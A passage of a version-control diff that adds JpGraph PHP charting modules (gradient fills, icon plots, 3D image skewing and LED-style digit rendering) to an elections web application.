+		    // width is greater than height -> use x-dimension for steps
+		    $steps = $xr-$xl;
+		    $delta = $xr>=$xl ? 1 : -1;
+		    $this->GetColArray($from_color,$to_color,$steps*2,$colors,$this->numcolors);
+		    $n = count($colors);
+
+		    for($x=$xl, $i=0; $i < $steps && $i < $n; ++$i) {
+			$this->img->current_color = $colors[$i];
+			$y = $yt+($i/$steps)*($yb-$yt)*$delta;
+			$this->img->Line($x,$yt,$xl,$y);
+			$x += $delta;
+		    }
+
+		    for($x=$xl, $i = 0; $i < $steps && $i < $n; ++$i) {
+			$this->img->current_color = $colors[$steps+$i];
+			$y = $yt+($i/$steps)*($yb-$yt)*$delta;
+			$this->img->Line($x,$yb,$xr,$y);
+			$x += $delta;
+		    }
+		} else {
+		    // height is greater than width -> use y-dimension for steps
+		    $steps = $yb-$yt;
+		    $delta = $yb>=$yt ? 1 : -1;
+		    $this->GetColArray($from_color,$to_color,$steps*2,$colors,$this->numcolors);
+		    $n = count($colors);
+		    
+		    for($y=$yt, $i=0; $i < $steps && $i < $n; ++$i) {
+			$this->img->current_color = $colors[$i];
+			$x = $xl+($i/$steps)*($xr-$xl)*$delta;
+			$this->img->Line($x,$yt,$xl,$y);
+			$y += $delta;
+		    }
+
+		    for($y=$yt, $i = 0; $i < $steps && $i < $n; ++$i) {
+			$this->img->current_color = $colors[$steps+$i];
+			$x = $xl+($i/$steps)*($xr-$xl)*$delta;
+			$this->img->Line($x,$yb,$xr,$y);
+			$x += $delta;
+		    }
+
+		}
+		break;
+
+	    default:
+		JpGraphError::RaiseL(7001,$style);
+//("Unknown gradient style (=$style).");
+		break;
+	}
+    }
+
+    // Fill a special case of a polygon with a flat bottom
+    // with a gradient. Can be used for filled line plots.
+    // Please note that this is NOT a generic gradient polygon fill
+    // routine. It assumes that the bottom is flat (like a drawing
+    // of a mountain)
+    function FilledFlatPolygon($pts,$from_color,$to_color) {
+	if( count($pts) == 0 ) return;
+	
+	$maxy=$pts[1];
+	$miny=$pts[1];		
+	$n = count($pts) ;
+	for( $i=0, $idx=0; $i < $n; $i += 2) {
+	    $x = round($pts[$i]);
+	    $y = round($pts[$i+1]);
+	    $miny = min($miny,$y);
+	    $maxy = max($maxy,$y);
+	}
+	    
+	$colors = array();
+	$this->GetColArray($from_color,$to_color,abs($maxy-$miny)+1,$colors,$this->numcolors);
+	for($i=$miny, $idx=0; $i <= $maxy; ++$i ) {
+	    $colmap[$i] = $colors[$idx++]; 
+	}
+
+	$n = count($pts)/2 ;
+	$idx = 0 ;
+	while( $idx < $n-1 ) {
+	    $p1 = array(round($pts[$idx*2]),round($pts[$idx*2+1]));
+	    $p2 = array(round($pts[++$idx*2]),round($pts[$idx*2+1]));
+		
+	    // Find the largest rectangle we can fill
+	    $y = max($p1[1],$p2[1]) ;
+	    for($yy=$maxy; $yy > $y; --$yy) {
+		$this->img->current_color = $colmap[$yy];
+		$this->img->Line($p1[0],$yy,$p2[0]-1,$yy);
+	    }
+	    
+	    if( $p1[1] == $p2[1] ) continue; 
+
+	    // Fill the rest using lines (slow...)
+	    $slope = ($p2[0]-$p1[0])/($p1[1]-$p2[1]);
+	    $x1 = $p1[0];
+	    $x2 = $p2[0]-1;
+	    $start = $y;
+	    if( $p1[1] > $p2[1] ) {
+		while( $y >= $p2[1] ) {
+		    $x1=$slope*($start-$y)+$p1[0];
+		    $this->img->current_color = $colmap[$y];
+		    $this->img->Line($x1,$y,$x2,$y);
+		    --$y;
+		} 
+	    }
+	    else {
+		while( $y >= $p1[1] ) {
+		    $x2=$p2[0]+$slope*($start-$y);
+		    $this->img->current_color = $colmap[$y];
+		    $this->img->Line($x1,$y,$x2,$y);
+		    --$y;
+		} 
+	    }
+	}
+    }
+
+//---------------
+// PRIVATE METHODS	
+    // Add to the image color map the necessary colors to do the transition
+    // between the two colors using $numcolors intermediate colors
+    function GetColArray($from_color,$to_color,$arr_size,&$colors,$numcols=100) {
+	if( $arr_size==0 ) return;
+	// If color is given as text get it's corresponding r,g,b values
+	$from_color = $this->img->rgb->Color($from_color);
+	$to_color = $this->img->rgb->Color($to_color);
+		
+	$rdelta=($to_color[0]-$from_color[0])/$numcols;
+	$gdelta=($to_color[1]-$from_color[1])/$numcols;
+	$bdelta=($to_color[2]-$from_color[2])/$numcols;
+	$colorsperstep	= $numcols/$arr_size;
+	$prevcolnum	= -1;
+	$from_alpha = $from_color[3];
+	$to_alpha = $to_color[3];
+	$adelta = ( $to_alpha - $from_alpha ) / $numcols ;
+	for ($i=0; $i < $arr_size; ++$i) {
+	    $colnum = floor($colorsperstep*$i);
+	    if ( $colnum == $prevcolnum ) 
+		$colors[$i]	= $colidx;
+	    else {
+		$r = floor($from_color[0] + $colnum*$rdelta);
+		$g = floor($from_color[1] + $colnum*$gdelta);
+		$b = floor($from_color[2] + $colnum*$bdelta);
+		$alpha = $from_alpha + $colnum*$adelta;
+		$colidx = $this->img->rgb->Allocate(sprintf("#%02x%02x%02x",$r,$g,$b),$alpha);
+		$colors[$i] = $colidx;
+	    }
+	    $prevcolnum = $colnum;
+	}
+    }	
+} // Class
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_iconplot.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_iconplot.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_iconplot.php	(revision 44)
@@ -0,0 +1,190 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_ICONPLOT.PHP
+// Description:	PHP4 Graph Plotting library. Extension module.
+// Created: 	2004-02-18
+// Ver:		$Id: jpgraph_iconplot.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+//===================================================
+// CLASS IconPlot
+// Description: Make it possible to add a (small) image
+// to the graph
+//===================================================
+class IconPlot {
+    public $iX=0,$iY=0,$iScale=1.0,$iMix=100;
+    private $iHorAnchor='left',$iVertAnchor='top';
+    private $iFile='';
+    private $iAnchors = array('left','right','top','bottom','center');
+    private $iCountryFlag='',$iCountryStdSize=3;
+    private $iScalePosY=null,$iScalePosX=null;
+    private $iImgString='';
+
+
+    function IconPlot($aFile="",$aX=0,$aY=0,$aScale=1.0,$aMix=100) {
+	$this->iFile = $aFile;
+	$this->iX=$aX;
+	$this->iY=$aY;
+	$this->iScale= $aScale;
+	if( $aMix < 0 || $aMix > 100 ) {
+	    JpGraphError::RaiseL(8001); //('Mix value for icon must be between 0 and 100.');
+	}
+	$this->iMix = $aMix ;
+    }
+
+    function SetCountryFlag($aFlag,$aX=0,$aY=0,$aScale=1.0,$aMix=100,$aStdSize=3) {
+	$this->iCountryFlag = $aFlag;
+	$this->iX=$aX;
+	$this->iY=$aY;
+	$this->iScale= $aScale;
+	if( $aMix < 0 || $aMix > 100 ) {
+	    JpGraphError::RaiseL(8001);//'Mix value for icon must be between 0 and 100.');
+	}
+	$this->iMix = $aMix;
+	$this->iCountryStdSize = $aStdSize;
+    }
+
+    function SetPos($aX,$aY) {
+	$this->iX=$aX;
+	$this->iY=$aY;
+    }
+
+    function CreateFromString($aStr) {
+	$this->iImgString = $aStr;
+    }
+
+    function SetScalePos($aX,$aY) {
+	$this->iScalePosX = $aX;
+	$this->iScalePosY = $aY;
+    }
+
+    function SetScale($aScale) {
+	$this->iScale = $aScale;
+    }
+
+    function SetMix($aMix) {
+	if( $aMix < 0 || $aMix > 100 ) {
+	    JpGraphError::RaiseL(8001);//('Mix value for icon must be between 0 and 100.');
+	}
+	$this->iMix = $aMix ;
+    }
+
+    function SetAnchor($aXAnchor='left',$aYAnchor='center') {
+	if( !in_array($aXAnchor,$this->iAnchors) ||
+	    !in_array($aYAnchor,$this->iAnchors) ) {
+	    JpGraphError::RaiseL(8002);//("Anchor position for icons must be one of 'top', 'bottom', 'left', 'right' or 'center'");
+	}
+	$this->iHorAnchor=$aXAnchor;
+	$this->iVertAnchor=$aYAnchor;
+    }
+    
+    function PreStrokeAdjust($aGraph) {
+	// Nothing to do ...
+    }
+
+    function DoLegend($aGraph) {
+	// Nothing to do ...
+    }
+
+    function Max() {
+	return array(false,false);
+    }
+
+
+    // The next four function are framework function tht gets called
+    // from Gantt and is not menaiungfull in the context of Icons but
+    // they must be implemented to avoid errors.
+    function GetMaxDate() { return false;   }
+    function GetMinDate() { return false;   }
+    function GetLineNbr() { return 0;   }
+    function GetAbsHeight() {return 0;  }
+
+
+    function Min() {
+	return array(false,false);
+    }
+
+    function StrokeMargin(&$aImg) {
+	return true;
+    }
+
+    function Stroke($aImg,$axscale,$ayscale) {
+	$this->StrokeWithScale($aImg,$axscale,$ayscale);
+    }
+
+    function StrokeWithScale($aImg,$axscale,$ayscale) {
+	if( $this->iScalePosX === null ||
+	    $this->iScalePosY === null ) {
+	    $this->_Stroke($aImg);
+	}
+	else {
+	    $this->_Stroke($aImg,
+			  round($axscale->Translate($this->iScalePosX)),
+			  round($ayscale->Translate($this->iScalePosY)));
+	}
+    }
+
+    function GetWidthHeight() {
+	$dummy=0;
+	return $this->_Stroke($dummy,null,null,true);
+    }
+
+    function _Stroke($aImg,$x=null,$y=null,$aReturnWidthHeight=false) {
+	if( $this->iFile != '' && $this->iCountryFlag != '' ) {
+	    JpGraphError::RaiseL(8003);//('It is not possible to specify both an image file and a country flag for the same icon.');	
+	}
+	if( $this->iFile != '' ) {
+	    $gdimg = Graph::LoadBkgImage('',$this->iFile);
+	}
+	elseif( $this->iImgString != '') {
+	    $gdimg = Image::CreateFromString($this->iImgString);
+	}
+
+	else {
+	    if( ! class_exists('FlagImages',false) ) {
+		JpGraphError::RaiseL(8004);//('In order to use Country flags as icons you must include the "jpgraph_flags.php" file.');
+	    }
+	    $fobj = new FlagImages($this->iCountryStdSize);
+	    $dummy='';
+	    $gdimg = $fobj->GetImgByName($this->iCountryFlag,$dummy);
+	}
+
+	$iconw = imagesx($gdimg);
+	$iconh = imagesy($gdimg);
+	
+	if( $aReturnWidthHeight ) {
+	    return array(round($iconw*$this->iScale),round($iconh*$this->iScale));
+	}
+
+	if( $x !== null && $y !== null ) {
+	    $this->iX = $x; $this->iY = $y;
+	}
+	if( $this->iX >= 0  && $this->iX <= 1.0 ) {
+	    $w = imagesx($aImg->img);
+	    $this->iX = round($w*$this->iX);
+	}
+	if( $this->iY >= 0  && $this->iY <= 1.0 ) {
+	    $h = imagesy($aImg->img);
+	    $this->iY = round($h*$this->iY);
+	}
+
+	if( $this->iHorAnchor == 'center' ) 
+	    $this->iX -= round($iconw*$this->iScale/2);
+	if( $this->iHorAnchor == 'right' ) 
+	    $this->iX -= round($iconw*$this->iScale);
+	if( $this->iVertAnchor == 'center' ) 
+	    $this->iY -= round($iconh*$this->iScale/2);
+	if( $this->iVertAnchor == 'bottom' ) 
+	    $this->iY -= round($iconh*$this->iScale);
+
+	$aImg->CopyMerge($gdimg,$this->iX,$this->iY,0,0,
+			 round($iconw*$this->iScale),round($iconh*$this->iScale),
+			 $iconw,$iconh,
+			 $this->iMix);
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_imgtrans.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_imgtrans.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_imgtrans.php	(revision 44)
@@ -0,0 +1,223 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_IMGTRANS.PHP
+// Description:	Extension for JpGraph to do some simple img transformations
+// Created: 	2003-09-06
+// Ver:		$Id: jpgraph_imgtrans.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+//------------------------------------------------------------------------
+// Class ImgTrans
+// Perform some simple image transformations. 
+//------------------------------------------------------------------------
+class ImgTrans {
+    private $gdImg=null;
+
+    function ImgTrans($aGdImg) {
+	// Constructor
+	$this->gdImg = $aGdImg;
+    }
+
+    // --------------------------------------------------------------------
+    // _TransVert3D() and _TransHor3D() are helper methods to 
+    // Skew3D(). 
+    // --------------------------------------------------------------------
+    function _TransVert3D($aGdImg,$aHorizon=100,$aSkewDist=120,$aDir=SKEW3D_DOWN,$aMinSize=true,$aFillColor='#FFFFFF',$aQuality=false,$aBorder=false,$aHorizonPos=0.5) {
+
+
+	// Parameter check
+	if( $aHorizonPos < 0 || $aHorizonPos > 1.0 ) {
+	    JpGraphError::RaiseL(9001);
+//("Value for image transformation out of bounds.\nVanishing point on horizon must be specified as a value between 0 and 1.");
+	}
+
+	$w = imagesx($aGdImg);
+	$h = imagesy($aGdImg);
+
+	// Create new image
+	$ww = $w;
+	if( $aMinSize ) 
+	    $hh = ceil($h * $aHorizon / ($aSkewDist+$h));
+	else 
+	    $hh = $h;
+	
+	$newgdh = imagecreatetruecolor($ww,$hh);
+	$crgb = new RGB( $newgdh );
+	$fillColor = $crgb->Allocate($aFillColor);
+	imagefilledrectangle($newgdh,0,0,$ww-1,$hh-1,$fillColor);
+
+	if( $aBorder ) {
+	    $colidx = $crgb->Allocate($aBorder);
+	    imagerectangle($newgdh,0,0,$ww-1,$hh-1,$colidx);
+	}
+
+	$mid = round($w * $aHorizonPos);
+    
+	$last=$h;
+	for($y=0; $y < $h; ++$y) {	
+
+	    $yp = $h-$y-1;
+	    $yt = floor($yp * $aHorizon / ($aSkewDist + $yp));	    
+
+	    if( !$aQuality ) {
+		if( $last <= $yt ) continue ;
+		$last = $yt;
+	    }
+
+	    for($x=0; $x < $w; ++$x) {	    
+		$xt = ($x-$mid) * $aSkewDist / ($aSkewDist + $yp);
+		if( $aDir == SKEW3D_UP ) 
+		    $rgb = imagecolorat($aGdImg,$x,$h-$y-1);
+		else
+		    $rgb = imagecolorat($aGdImg,$x,$y);
+		$r = ($rgb >> 16) & 0xFF;
+		$g = ($rgb >> 8) & 0xFF;
+		$b = $rgb & 0xFF;    
+		$colidx = imagecolorallocate($newgdh,$r,$g,$b);	
+		$xt = round($xt+$mid);
+		if( $aDir == SKEW3D_UP ) {
+		    $syt = $yt;
+		}
+		else {
+		    $syt = $hh-$yt-1;
+		}
+
+		if( !empty($set[$yt]) ) {
+		    $nrgb = imagecolorat($newgdh,$xt,$syt);
+		    $nr = ($nrgb >> 16) & 0xFF;
+		    $ng = ($nrgb >> 8) & 0xFF;
+		    $nb = $nrgb & 0xFF;    
+		    $colidx = imagecolorallocate($newgdh,floor(($r+$nr)/2),
+						 floor(($g+$ng)/2),floor(($b+$nb)/2));	
+		}	
+
+		imagesetpixel($newgdh,$xt,$syt,$colidx);	
+	    }
+
+	    $set[$yt] = true;	
+	}
+
+	return $newgdh;
+    }
+
+    // --------------------------------------------------------------------
+    // _TransVert3D() and _TransHor3D() are helper methods to 
+    // Skew3D(). 
+    // --------------------------------------------------------------------
+    function _TransHor3D($aGdImg,$aHorizon=100,$aSkewDist=120,$aDir=SKEW3D_LEFT,$aMinSize=true,$aFillColor='#FFFFFF',$aQuality=false,$aBorder=false,$aHorizonPos=0.5) {
+
+	$w = imagesx($aGdImg);
+	$h = imagesy($aGdImg);
+
+	// Create new image
+	$hh = $h;
+	if( $aMinSize ) 
+	    $ww = ceil($w * $aHorizon / ($aSkewDist+$w));
+	else 
+	    $ww = $w;
+	
+	$newgdh = imagecreatetruecolor($ww,$hh);
+	$crgb = new RGB( $newgdh );
+	$fillColor = $crgb->Allocate($aFillColor);
+	imagefilledrectangle($newgdh,0,0,$ww-1,$hh-1,$fillColor);
+
+	if( $aBorder ) {
+	    $colidx = $crgb->Allocate($aBorder);
+	    imagerectangle($newgdh,0,0,$ww-1,$hh-1,$colidx);
+	}
+
+	$mid = round($h * $aHorizonPos);
+
+	$last = -1; 
+	for($x=0; $x < $w-1; ++$x) {	    
+	    $xt = floor($x * $aHorizon / ($aSkewDist + $x));
+	    if( !$aQuality ) {
+		if( $last >= $xt ) continue ;
+		$last = $xt;
+	    }
+
+	    for($y=0; $y < $h; ++$y) {	
+		$yp = $h-$y-1;
+		$yt = ($yp-$mid) * $aSkewDist / ($aSkewDist + $x);
+
+		if( $aDir == SKEW3D_RIGHT ) 
+		    $rgb = imagecolorat($aGdImg,$w-$x-1,$y);
+		else
+		    $rgb = imagecolorat($aGdImg,$x,$y);
+		$r = ($rgb >> 16) & 0xFF;
+		$g = ($rgb >> 8) & 0xFF;
+		$b = $rgb & 0xFF;    
+		$colidx = imagecolorallocate($newgdh,$r,$g,$b);	
+		$yt = floor($hh-$yt-$mid-1);
+		if( $aDir == SKEW3D_RIGHT ) {
+		    $sxt = $ww-$xt-1;
+		}
+		else
+		    $sxt = $xt ;
+
+		if( !empty($set[$xt]) ) {
+		    $nrgb = imagecolorat($newgdh,$sxt,$yt);
+		    $nr = ($nrgb >> 16) & 0xFF;
+		    $ng = ($nrgb >> 8) & 0xFF;
+		    $nb = $nrgb & 0xFF;    
+		    $colidx = imagecolorallocate($newgdh,floor(($r+$nr)/2),
+						 floor(($g+$ng)/2),floor(($b+$nb)/2));	
+		}
+		imagesetpixel($newgdh,$sxt,$yt,$colidx);	
+	    }
+
+	    $set[$xt] = true;
+	}
+
+	return $newgdh;
+    }
+
+    // --------------------------------------------------------------------
+    // Skew image for the apperance of a 3D effect
+    // This transforms an image into a 3D-skewed version
+    // of the image. The transformation is specified by giving the height
+    // of the artificial horizon and specifying a "skew" factor which
+    // is the distance on the horizon line between the point of 
+    // convergence and perspective line.
+    //
+    // The function returns the GD handle of the transformed image
+    // leaving the original image untouched.
+    //
+    // Parameters:
+    // * $aGdImg, GD handle to the image to be transformed
+    // * $aHorizon, Distance to the horizon 
+    // * $aSkewDist, Distance from the horizon point of convergence
+    //   on the horizon line to the perspective points. A larger 
+    //   value will fore-shorten the image more
+    // * $aDir, parameter specifies type of convergence. This of this 
+    //   as the walls in a room you are looking at. This specifies if the
+    //   image should be applied on the left,right,top or bottom walls.
+    // * $aMinSize, true=make the new image just as big as needed,
+    //   false = keep the image the same size as the original image
+    // * $aFillColor, Background fill color in the image
+    // * $aHiQuality, true=performa some interpolation that improves
+    //   the image quality but at the expense of performace. Enabling
+    //   high quality will have a dramatic effect on the time it takes
+    //   to transform an image.
+    // * $aBorder, if set to anything besides false this will draw a 
+    //   a border of the speciied color around the image
+    // --------------------------------------------------------------------
+    function Skew3D($aHorizon=120,$aSkewDist=150,$aDir=SKEW3D_DOWN,$aHiQuality=false,$aMinSize=true,$aFillColor='#FFFFFF',$aBorder=false) {
+	return $this->_Skew3D($this->gdImg,$aHorizon,$aSkewDist,$aDir,$aHiQuality,
+			      $aMinSize,$aFillColor,$aBorder);
+    }
+
+    function _Skew3D($aGdImg,$aHorizon=120,$aSkewDist=150,$aDir=SKEW3D_DOWN,$aHiQuality=false,$aMinSize=true,$aFillColor='#FFFFFF',$aBorder=false) {
+	if( $aDir == SKEW3D_DOWN || $aDir == SKEW3D_UP )
+	    return $this->_TransVert3D($aGdImg,$aHorizon,$aSkewDist,$aDir,$aMinSize,$aFillColor,$aHiQuality,$aBorder);
+	else
+	    return $this->_TransHor3D($aGdImg,$aHorizon,$aSkewDist,$aDir,$aMinSize,$aFillColor,$aHiQuality,$aBorder);
+
+    }
+    
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_led.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_led.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_led.php	(revision 44)
@@ -0,0 +1,320 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_LED.PHP
+// Description:	Module to generate Dotted LED-like digits
+// Created: 	2006-11-26
+// Ver:		$Id: jpgraph_led.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright 2006 (c) Aditus Consulting. All rights reserved.
+//
+// Changed: 2007-08-06 by Alexander Kurochkin (inspector@list.ru)
+// Added: Decipher 4-bit mask.
+// Added: Chars Latin > 'L', Cyrilic, other symbols and special symbols for 
+//        simulation some latin and cyrilic chars.
+// Added: New Color schemas.
+// Deleted: Some minor bugs (StrokeNumber first parameter may be eq empty string, 
+//	false or null - added check see line 294;
+//	change color schema check for easy maintenance: 291;
+//	change check on key exist in chars array: moved from StrokeNumber 
+//	function to _GetLED: 251;
+//
+//========================================================================
+
+// Samples for troubled chars: "Ô¡ Ø\r Ù\r Û| ÞÎ Ì\r >\n< W\r"
+//								Ô  Ø   Ù   Û  Þ  Ì   Æ    W
+
+//----------------------------------------------------------------------------
+// Each character is encoded line by line with the "On"-LEDs corresponding to
+// a '1' in the bianry mask of 4 bits. 
+//
+// 4-bit mask:
+//
+// 0	____
+// 1	___x
+// 2	__x_
+// 3	__xx
+// 4	_x__
+// 5	_x_x
+// 6	_xx_
+// 7	_xxx
+// 8	x___
+// 9	x__x
+// 10	x_x_
+// 11	x_xx
+// 12	xx__
+// 13	xx_x
+// 14	xxx_
+// 15	xxxx
+//----------------------------------------------------------------------------
+
+// Constants for color schema. See definition of iColorSchema below
+define('LEDC_RED', 0);
+define('LEDC_GREEN', 1);
+define('LEDC_BLUE', 2);
+define('LEDC_YELLOW', 3);
+define('LEDC_GRAY', 4);
+define('LEDC_CHOCOLATE', 5);
+define('LEDC_PERU', 6);
+define('LEDC_GOLDENROD', 7);
+define('LEDC_KHAKI', 8);
+define('LEDC_OLIVE', 9);
+define('LEDC_LIMEGREEN', 10);
+define('LEDC_FORESTGREEN', 11);
+define('LEDC_TEAL', 12);
+define('LEDC_STEELBLUE', 13);
+define('LEDC_NAVY', 14);
+define('LEDC_INVERTGRAY', 15);
+// ! It correlate with two-dimensional array $iColorSchema
+
+//========================================================================
+// CLASS DigitalLED74
+// Description: 
+// Construct a number as an image that looks like LED numbers in a
+// 7x4 digital matrix
+//========================================================================
+class DigitalLED74
+{
+    private $iLED_X = 4, $iLED_Y=7,
+
+	// fg-up, fg-down, bg
+	$iColorSchema = array(
+	    LEDC_RED		=> array('red','darkred:0.9','red:0.3'),// 0
+	    LEDC_GREEN		=> array('green','darkgreen','green:0.3'),// 1
+	    LEDC_BLUE		=> array('lightblue:0.9','darkblue:0.85','darkblue:0.7'),// 2
+	    LEDC_YELLOW		=> array('yellow','yellow:0.4','yellow:0.3'),// 3
+	    LEDC_GRAY		=> array('gray:1.4','darkgray:0.85','darkgray:0.7'),
+	    LEDC_CHOCOLATE	=> array('chocolate','chocolate:0.7','chocolate:0.5'),
+	    LEDC_PERU		=> array('peru:0.95','peru:0.6','peru:0.5'),
+	    LEDC_GOLDENROD	=> array('goldenrod','goldenrod:0.6','goldenrod:0.5'),
+	    LEDC_KHAKI		=> array('khaki:0.7','khaki:0.4','khaki:0.3'),
+	    LEDC_OLIVE		=> array('#808000','#808000:0.7','#808000:0.6'),
+	    LEDC_LIMEGREEN	=> array('limegreen:0.9','limegreen:0.5','limegreen:0.4'),
+	    LEDC_FORESTGREEN	=> array('forestgreen','forestgreen:0.7','forestgreen:0.5'),
+	    LEDC_TEAL		=> array('teal','teal:0.7','teal:0.5'),
+	    LEDC_STEELBLUE	=> array('steelblue','steelblue:0.65','steelblue:0.5'),
+	    LEDC_NAVY		=> array('navy:1.3','navy:0.95','navy:0.8'),//14
+	    LEDC_INVERTGRAY	=> array('darkgray','lightgray:1.5','white')//15
+	    ),
+
+	$iLEDSpec = array(
+	    0 => array(6,9,11,15,13,9,6),
+	    //0 => array(6,9,9,9,9,9,6),
+	    //0 => array(15,9,9,9,9,9,15),
+	    1 => array(2,6,10,2,2,2,2),
+	    2 => array(6,9,1,2,4,8,15),
+	    3 => array(6,9,1,6,1,9,6),
+	    4 => array(1,3,5,9,15,1,1),
+	    5 => array(15,8,8,14,1,9,6),
+	    6 => array(6,8,8,14,9,9,6),
+	    7 => array(15,1,1,2,4,4,4),
+	    8 => array(6,9,9,6,9,9,6),
+	    9 => array(6,9,9,7,1,1,6),
+	    '!' => array(4,4,4,4,4,0,4),
+	    '?' => array(6,9,1,2,2,0,2),
+	    '#' => array(0,9,15,9,15,9,0),
+	    '@' => array(6,9,11,11,10,9,6),
+	    '-' => array(0,0,0,15,0,0,0),
+	    '_' => array(0,0,0,0,0,0,15),
+	    '=' => array(0,0,15,0,15,0,0),
+	    '+' => array(0,0,4,14,4,0,0),
+	    '|' => array(4,4,4,4,4,4,4), //vertical line, used for simulate rus 'Û'
+	    ',' => array(0,0,0,0,0,12,4),
+	    '.' => array(0,0,0,0,0,12,12),
+	    ':' => array(12,12,0,0,0,12,12),
+	    ';' => array(12,12,0,0,0,12,4),
+	    '[' => array(3,2,2,2,2,2,3),
+	    ']' => array(12,4,4,4,4,4,12),
+	    '(' => array(1,2,2,2,2,2,1),
+	    ')' => array(8,4,4,4,4,4,8),
+	    '{' => array(3,2,2,6,2,2,3),
+	    '}' => array(12,4,4,6,4,4,12),
+	    '<' => array(1,2,4,8,4,2,1),
+	    '>' => array(8,4,2,1,2,4,8),
+	    '*' => array(9,6,15,6,9,0,0),
+	    '"' => array(10,10,0,0,0,0,0),
+	    '\'' => array(4,4,0,0,0,0,0),
+	    '`' => array(4,2,0,0,0,0,0),
+	    '~' => array(13,11,0,0,0,0,0),
+	    '^' => array(4,10,0,0,0,0,0),
+	    '\\' => array(8,8,4,6,2,1,1),
+	    '/' => array(1,1,2,6,4,8,8),
+	    '%' => array(1,9,2,6,4,9,8),
+	    '&' => array(0,4,10,4,11,10,5),
+	    '$' => array(2,7,8,6,1,14,4),
+	    ' ' => array(0,0,0,0,0,0,0),
+	    '' => array(0,0,6,6,0,0,0), //149
+	    '°' => array(14,10,14,0,0,0,0), //176
+	    '' => array(4,4,14,4,4,4,4), //134
+	    '' => array(4,4,14,4,14,4,4), //135
+	    '±' => array(0,4,14,4,0,14,0), //177
+	    '' => array(0,4,2,15,2,4,0), //137 show right arrow
+	    '' => array(0,2,4,15,4,2,0), //156 show left arrow
+	    '¡' => array(0,0,8,8,0,0,0), //159 show small hi-stick - that need for simulate rus 'Ô'
+	    "\t" => array(8,8,8,0,0,0,0), //show hi-stick - that need for simulate rus 'Ó'
+	    "\r" => array(8,8,8,8,8,8,8), //vertical line - that need for simulate 'M', 'W' and rus 'Ì','Ø' ,'Ù'
+	    "\n" => array(15,15,15,15,15,15,15), //fill up - that need for simulate rus 'Æ'
+	    "¥" => array(10,5,10,5,10,5,10), //chess
+	    "µ" => array(15,0,15,0,15,0,15), //4 horizontal lines
+// latin
+	    'A' => array(6,9,9,15,9,9,9),
+	    'B' => array(14,9,9,14,9,9,14),
+	    'C' => array(6,9,8,8,8,9,6),
+	    'D' => array(14,9,9,9,9,9,14),
+	    'E' => array(15,8,8,14,8,8,15),
+	    'F' => array(15,8,8,14,8,8,8),
+	    'G' => array(6,9,8,8,11,9,6),
+	    'H' => array(9,9,9,15,9,9,9),
+	    'I' => array(14,4,4,4,4,4,14),
+	    'J' => array(15,1,1,1,1,9,6),
+	    'K' => array(8,9,10,12,12,10,9),
+	    'L' => array(8,8,8,8,8,8,15),
+	    'M' => array(8,13,10,8,8,8,8),// need to add \r
+	    'N' => array(9,9,13,11,9,9,9),
+	    //'O' => array(0,6,9,9,9,9,6),
+	    'O' => array(6,9,9,9,9,9,6),
+	    'P' => array(14,9,9,14,8,8,8),
+	    'Q' => array(6,9,9,9,13,11,6),
+	    'R' => array(14,9,9,14,12,10,9),
+	    'S' => array(6,9,8,6,1,9,6),
+	    'T' => array(14,4,4,4,4,4,4),
+	    'U' => array(9,9,9,9,9,9,6),
+	    'V' => array(0,0,0,10,10,10,4),
+	    'W' => array(8,8,8,8,10,13,8),// need to add \r
+	    'X' => array(9,9,6,6,6,9,9),
+	    //'Y' => array(9,9,9,9,6,6,6),
+	    'Y' => array(10,10,10,10,4,4,4),
+	    'Z' => array(15,1,2,6,4,8,15),
+// russian cp1251
+	    'À' => array(6,9,9,15,9,9,9),
+	    'Á' => array(14,8,8,14,9,9,14),
+	    'Â' => array(14,9,9,14,9,9,14),
+	    'Ã' => array(15,8,8,8,8,8,8),
+	    'Ä' => array(14,9,9,9,9,9,14),
+	    'Å' => array(15,8,8,14,8,8,15),
+	    'š' => array(6,15,8,14,8,8,15),
+	    //Æ is combine: >\n<
+	    'Ç' => array(6,9,1,2,1,9,6),
+	    'È' => array(9,9,9,11,13,9,9),
+	    'É' => array(13,9,9,11,13,9,9),
+	    'Ê' => array(9,10,12,10,9,9,9),
+	    'Ë' => array(7,9,9,9,9,9,9),
+	    'Ì' => array(8,13,10,8,8,8,8),// need to add \r
+	    'Í' => array(9,9,9,15,9,9,9),
+	    'Î' => array(6,9,9,9,9,9,6),
+	    'Ï' => array(15,9,9,9,9,9,9),
+	    'Ð' => array(14,9,9,14,8,8,8),
+	    'Ñ' => array(6,9,8,8,8,9,6),
+	    'Ò' => array(14,4,4,4,4,4,4),
+	    'Ó' => array(9,9,9,7,1,9,6),
+	    'Ô' => array(2,7,10,10,7,2,2),// need to add ¡
+	    'Õ' => array(9,9,6,6,6,9,9),
+	    'Ö' => array(10,10,10,10,10,15,1),
+	    '×' => array(9,9,9,7,1,1,1),
+	    'Ø' => array(10,10,10,10,10,10,15),// \r
+	    'Ù' => array(10,10,10,10,10,15,0),// need to add \r
+	    'Ú' => array(12,4,4,6,5,5,6),
+	    'Û' => array(8,8,8,14,9,9,14),// need to add |
+	    'Ü' => array(8,8,8,14,9,9,14),
+	    'Ý' => array(6,9,1,7,1,9,6),
+	    'Þ' => array(2,2,2,3,2,2,2),// need to add O
+	    'ß' => array(7,9,9,7,3,5,9)
+	    ),
+
+	$iSuperSampling = 3, $iMarg = 1, $iRad = 4;
+	 
+    function DigitalLED74($aRadius = 2, $aMargin= 0.6) {
+	$this->iRad = $aRadius;
